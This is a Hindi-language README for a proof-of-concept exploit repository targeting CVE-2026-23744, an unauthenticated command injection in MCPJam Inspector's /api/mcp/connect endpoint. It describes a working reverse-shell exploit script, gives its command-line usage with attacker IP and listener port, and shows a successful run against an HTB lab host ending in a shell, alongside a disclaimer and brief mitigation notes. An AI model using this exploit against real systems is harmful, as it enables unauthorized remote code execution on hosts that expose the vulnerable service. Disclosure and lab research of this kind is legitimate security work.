CVE-2026-23744-PoC

अस्वीकरण:

यह प्रूफ-ऑफ-कॉन्सेप्ट विशेष रूप से अधिकृत सुरक्षा अनुसंधान, शैक्षिक उद्देश्यों और नियंत्रित प्रयोगशाला वातावरण (जैसे, HTB, CTF, या स्पष्ट लिखित सहमति के साथ आंतरिक पैठ परीक्षण) के लिए प्रदान किया गया है। बिना अनुमति के किसी भी सिस्टम के विरुद्ध अनधिकृत उपयोग अवैध और अनैतिक है। लेखक दुरुपयोग के लिए कोई दायित्व नहीं लेता है; उपयोगकर्ता सभी लागू कानूनों और विनियमों का पालन करने के लिए पूरी तरह जिम्मेदार हैं।

---

विवरण

CVE-2026-23744 MCPJam Inspector (संस्करण ≤ 1.4.2) में एक अनप्रमाणित कमांड इंजेक्शन भेद्यता है।
/api/mcp/connect एंडपॉइंट serverConfig.command और serverConfig.args के साथ एक JSON पेलोड स्वीकार करता है और उन्हें बिना किसी सैनिटाइज़ेशन के सीधे सिस्टम प्रोसेस स्पॉन में पास कर देता है। एक हमलावर मनमाने सिस्टम कमांड निष्पादित करने के लिए एक क्राफ्टेड अनुरोध भेज सकता है, जिससे सेवा उपयोगकर्ता के विशेषाधिकारों के साथ रिवर्स शेल प्राप्त होता है।

इस रिपॉजिटरी में एक पूर्ण कार्यशील एक्सप्लॉइट स्क्रिप्ट है जिसमें एक वैकल्पिक स्वचालित PTY‑आधारित इंटरैक्टिव लिसनर (डिफ़ॉल्ट रूप से सक्षम) शामिल है।

---

आवश्यकताएँ

• Python 3.6+
• requests लाइब्रेरी (pip install requests)

---

उपयोग

महत्वपूर्ण: केवल होस्टनाम या IP प्रदान करें। स्क्रिप्ट स्वचालित रूप से http:// या https:// जोड़ती है

python3 exploit.py -t <target> -l <your_ip> [-r <port>] [--ssl] [--check-only]

Option	Description
-t, --target	लक्ष्य होस्टनाम या IP (आवश्यक)
-p, --port	लक्ष्य पोर्ट (डिफ़ॉल्ट: 6274)
-l, --lhost	रिवर्स शेल के लिए आपका IP (आवश्यक)
-r, --lport	आपका लिसनर पोर्ट (डिफ़ॉल्ट: 4444)
--ssl	HTTP के बजाय HTTPS का उपयोग करें
--check-only	केवल भेद्यता जाँचें, शेल न भेजें

---

उदाहरण

स्क्रिप्ट अपना स्वयं का लिसनर शुरू करती है और आपको सीधे आपके टर्मिनल में एक शेल देती है।

python3 exploit.py -t <example_hostname> -l <your_IP> -r <Listener_Port>

प्रूफ ऑफ कॉन्सेप्ट (सफल रन)

$ python3 exploit.py -t devhub.htb -l 10.10.14.111 -r 4444
[*] Target URL: http://devhub.htb:6274/api/mcp/connect
[*] Checking target...
[+] Target responded with 400 – appears vulnerable
[*] Sending exploit payload...
[+] ReadTimeout – shell likely spawned!
[*] Payload sent. Check your listener!

# On your listener:
connect to [10.10.14.111] from (UNKNOWN) [10.129.245.216] 54150
mcp-dev@devhub:/opt/mcpjam$ id
uid=1001(mcp-dev) gid=1001(mcp-dev) groups=1001(mcp-dev)

---

शमन

• प्रोसेस-स्पॉनिंग फ़ंक्शन्स को दिए गए सभी उपयोगकर्ता‑आपूर्ति किए गए तर्कों को सैनिटाइज़ करें।
• सख्त व्हाइटलिस्टिंग और प्रमाणीकरण के बिना API एंडपॉइंट्स के माध्यम से मनमाने कमांड निष्पादन की अनुमति न दें।
• सेवाओं को न्यूनतम विशेषाधिकारों के साथ चलाएं – कभी भी root के रूप में नहीं।

---

लाइसेंस

यह रिपॉजिटरी केवल शैक्षिक और अधिकृत परीक्षण प्रयोजनों के लिए है। अपने जोखिम पर उपयोग करें।

लेखक: Mluex0 दिनांक: अगस्त 2026